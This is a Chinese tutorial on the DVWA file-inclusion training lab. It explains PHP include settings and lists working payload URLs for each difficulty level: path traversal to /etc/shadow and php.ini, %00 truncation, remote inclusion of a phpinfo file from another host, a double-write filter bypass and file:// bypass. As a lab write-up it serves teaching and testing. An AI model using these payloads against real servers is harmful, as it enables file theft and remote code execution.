File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含分类:
当服务器开启allow_url_include选项时,校验检查不全面会造成本地文件包含漏洞
同时开启allow_url_include、allow_url_fopen选项时,可能会造成远程文件包含漏洞。
与文件包含有关的函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
相关的php.ini配置参数:
allow_url_fopen = On (默认开启)
allow_url_include = On (默认关闭)
远程文件包含是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
Low

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。
需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行。
如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
点击file1.php,观察到url为:
http://localhost/DVWA-master/vulnerabilities/fi/?page=file1.php
漏洞利用
1.本地文件包含
构造url:
http://localhost/DVWA-master/vulnerabilities/fi/?page=/etc/shadow

出现报错信息,显示没有这个文件,说明服务器系统不是Linux,但同时暴露了服务器文件的绝对路径E:\phpstudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\index.php
构造url(绝对路径):
http://localhost/DVWA-master/vulnerabilities/fi/?page=E:/phpstudy/PHPTutorial/WWW/DVWA-master/php.ini

构造url(相对路径):
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../DVWA-master/php.ini

举例:读取phpstudy探针文件进行信息搜集
http://localhost/DVWA-master/vulnerabilities/fi/?page=E:/phpstudy/PHPTutorial/WWW/l.php

加../是为了保证到达服务器磁盘的根目录。
同时在读取上面的php.ini文件时,我们看到,配置文件中的magic_quote_gpc选项为off。
在php版本小于5.3.4的服务器中,当magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。
以下是phpstudy中php版本为5.2.17的测试结果:
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../DVWA-master/php.ini
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../DVWA-master/php.ini%00a.php
2.远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话,就容易导致任意远程代码执行。
通常php.ini的位置在:
复制代码代码如下:
/etc目录下或/usr/local/lib目录下。
如果你还是找不到php.ini或者找到了php.ini修改后不生效(其实是没找对),请使用如下办法:
1.在/var/www/html/目录下新建php文件,写入如下代码
<?php
echo phpinfo();
然后在浏览器访问该页面,搜索php.ini,

修改配置文件

在远程服务器10.22.8.239上传一个phpinfo.txt文件到/var/www/html/目录,内容如下:
<?php phpinfo();?>
构造以下url,成功在服务器上执行了phpinfo函数
http://localhost/DVWA-master/vulnerabilities/fi/?page=http://10.22.8.239/phpinfo.txt

Medium

明显可以看到 过滤了
http:// , https:// , ../ , ..\
漏洞利用
使用str_replace函数是极不安全的,可以使用双写绕过替换规则。
例如page=htthttp://p://192.168.0.20/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.20/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是"../"、"..\",所以对采用绝对路径的方式包含文件是不会受到任何限制的。
1.本地文件包含
绝对路径不受任何影响,读取配置文件成功
http://localhost/DVWA-master/vulnerabilities/fi/?page=E:/phpstudy/PHPTutorial/WWW/DVWA-master/php.ini

相对路径的利用以下payload,读取配置文件成功
http://localhost/DVWA-master/vulnerabilities/fi/?page=..././..././..././DVWA-master/php.ini
2.远程文件包含
构造以下payload,远程执行命令成功
http://localhost/DVWA-master/vulnerabilities/fi/?page=htthttp://p://10.22.8.239/phpinfo.txt

High

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。
Tips:因为fnmatch函数适用于PHP >= 4.3.0,因此php版本高于这个才能利用,否则会出现打不开high等级页面。
构造如下url,成功读取了服务器的配置文件
http://localhost/DVWA-master/vulnerabilities/fi/?page=file:///E:/phpstudy/PHPTutorial/WWW/DVWA-master/php.ini
(2)远程文件
Low和Medium等级的方法均失效,而file协议又只能打开本地文件。因此需要配合文件上传漏洞来实现远程文件的执行
Impossible

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。
网友评论